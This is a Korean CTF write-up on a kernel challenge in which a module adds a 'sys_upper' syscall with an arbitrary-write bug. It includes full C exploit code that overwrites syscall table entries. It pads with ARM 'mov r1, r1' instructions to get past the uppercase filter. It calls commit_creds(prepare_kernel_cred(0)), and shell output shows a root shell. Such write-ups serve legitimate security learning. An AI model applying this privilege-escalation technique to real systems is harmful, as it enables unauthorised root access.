Contents
Analysis
Attack cenario
Exploit
Shell
Reference
Analysis
// adding a new system call : sys_upper
// manually configure this address!!
//Pointers to re-mapped writable pages
unsigned int** sct;
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void){
return;
}
module_init( initmodule );
module_exit( exitmodule );
문제의 주석부분에도 나와있듯이 해당 커널 모듈은 223
번 syscall
을 sys_upper
로 추가시킨다.
위 사진은 32bit linux syscall table
이다.
보면 222
,223
번 syscall
은 not implemented
되어있음을 알 수 있다.
이렇게 빈 syscall
에 sys_upper
를 추가시켰음을 알 수 있다.
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
sys_upper
함수이다.
ASCII
범위중 0x61
~ 0x7a
사이의 문자들을 0x20
만큼 빼주는 것을 볼 수 있다.
보면 0x61
== a
이고, 0x7a
== z
이다.
그리고 이 범위에서 -0x20
을 뺀 0x41
~ 0x5a
는 A
~ Z
이다.
즉, 소문자를 전부 대문자로 바꿔주는 프로그램이다.
하지만 여기서 한가지 문제가 존재한다.
바로 else
문에서 out[i] = in[i];
로 바로 대입을 해준다는 것이다.
따라서 AAW
가 발생한다. 원하는 곳에 원하는 값을 쓸 수 있는것이다.
이게 커널이 아니고 정말 평범한 CTF
문제였다고 생각해보자.
그냥 out
에 GOT
하나 박고 in
으로 원하는 함수를 넣으면 될것이다.
하지만 커널이므로 우리는 다른 방법을 생각해야 한다.
Attack scenario
일단 우리는 플래그를 읽기위해 결론적으로 root
권한을 획득하여야 한다.
앞에서 계속 작성했던 글처럼 commit_creds(prepare_kernel_cred(0));
를 호출하고, system("/bin/sh")
를 해서 쉘을 획득해야 한다.
그래서 해당 함수를 호출시킬 방법을 곰곰히 생각을 해보아야 한다!
마침 AAW
도 가능하고 문제의 커널 모듈에서 syscall table
을 제공해주므로 syscall table
을 변조하여 원하는 함수를 실행시킬 수 있게 할 수 있다.
일단 모듈이 잘 올라왔는지 부터 확인해보자.
rtc-pl031 mb:rtc: setting system clock to 2019-10-23 03:38:05 UTC (1571801885)
ALSA device list:
#0: ARM AC'97 Interface PL041 rev0 at 0x10004000, irq 43
input: ImExPS/2 Generic Explorer Mouse as /devices/mb:kmi1/serio1/input/input1
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 49152KiB [1 disk] into ram disk... done.
VFS: Mounted root (ext2 filesystem) on device 1:0.
m: module license 'unspecified' taints kernel.
Disabling lock debugging due to kernel taint
sys_upper(number : 223) is added
sys_upper(number : 223) is added
라는 디버깅 메시지를 보아 제대로 모듈이 등록됨을 알 수 있다.
그리고 익스플로잇을 위해 commit_creds(prepare_kernel_cred(0));
함수의 주소를 알아야 하는데, 이는 /proc/kallsyms
에서 알 수 있다.
이 디렉토리는 커널의 심볼이 저장되는 디렉토리라, 모든 심볼을 알 수 있다.
거기다 ssh
연결을 해서 익스플로잇을 해야 하기때문에 더 확실하다.
/ $ cat /proc/kallsyms | grep "commit_creds"
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred
8003f56c T commit_creds
이고, 8003f924 T prepare_kernel_cred
이다!
하지만 소문자 범위 내의 아스키코드는 다 -0x20
씩 빼준다.
따라서 commit_creds
의 0x6c
부분은 0x4c
가 되버린다.
그래서 0x6c
부분을 0x60
으로 만들어준다.
요러면 가젯이 망가져버린다.
그래서 0x6c
부분을 0x60
으로 만들어준다. 그리고 commit_creds address
- 0xc
= 0x8003f560
의 주소부터 12bytes
를 NOP
으로 덮는다.
그러면 0x8003f560
를 만나는 순간 NOP
을 타면서 commit_creds address
로 뛸것이다.
이런 방법으로 조건을 우회하고 뛰면 된다.
진짜 마지막으로 최종 고비가 있다.
/ $ uname -a
Linux (none) 3.11.4 #13 SMP Fri Jul 11 00:48:31 PDT 2014 armv7l GNU/Linux
arm
아키텍쳐이다.
근데 arm
에서 NOP
은 "\x00"
이다. 즉, NOP sled
를 못만든다.
그래서 적당히 mov r1, r1
같은 가젯들을 열심히 찾아서 패딩을 넣으면 된다.
ARM converter
에 돌려봤는데"\x01\x10\xa0\xe1"
로 나온다. 소문자 범위 내에도 없고 맘편하게 패딩 할 수 있을 것 같다!
Exploit
덮을 syscall
을 찾을때에는, commit_cred
와 prepare_kernel_cred
의 인자가 각각 한개씩 이므로, syscall
중 인자가 한개인 함수를 찾으면 된다.
앞쪽 보니까 exit
있어서 덮으려고 했는데 무서워서 못했고 unlink
, chdir
을 골랐다.
그리고 익스를 성공했는데, root
쉘이 떨어지기는 하는데 chdir
때문인지 cd ..
한방 때리면 고냥 커널 패닉이 떠버리길래 chdir
말고 time
을 사용해서 다시 익스를 짰다.
int main(void)
{
unsigned int** sct = (unsigned int**)SYS_CALL_TABLE;
int commit_creds = 0x8003f56c;
int prepare_kernel_cred = 0x8003f924;
syscall(SYS_upper, "\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1", commit_creds - 12); // MOV R1, R1 pading
syscall(SYS_upper, "\x60\xf5\x03\x80", &sct[10]); // unlink = commit_creds
syscall(SYS_upper, "\x24\xf9\x03\x80", &sct[13]); // time = prepare_kernel_cred
syscall(10,syscall(13,0)); // commit_creds(prepare_kernel_cred(0));
system("/bin/sh"); // get root shell
}
Attack scenario
그대로 익스코드를 작성했다.
Shell
/tmp $ gcc -o ex ex.c
/tmp $ id
uid=1000 gid=1000 groups=1000
/tmp $ ./ex
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=0
오우야 오우야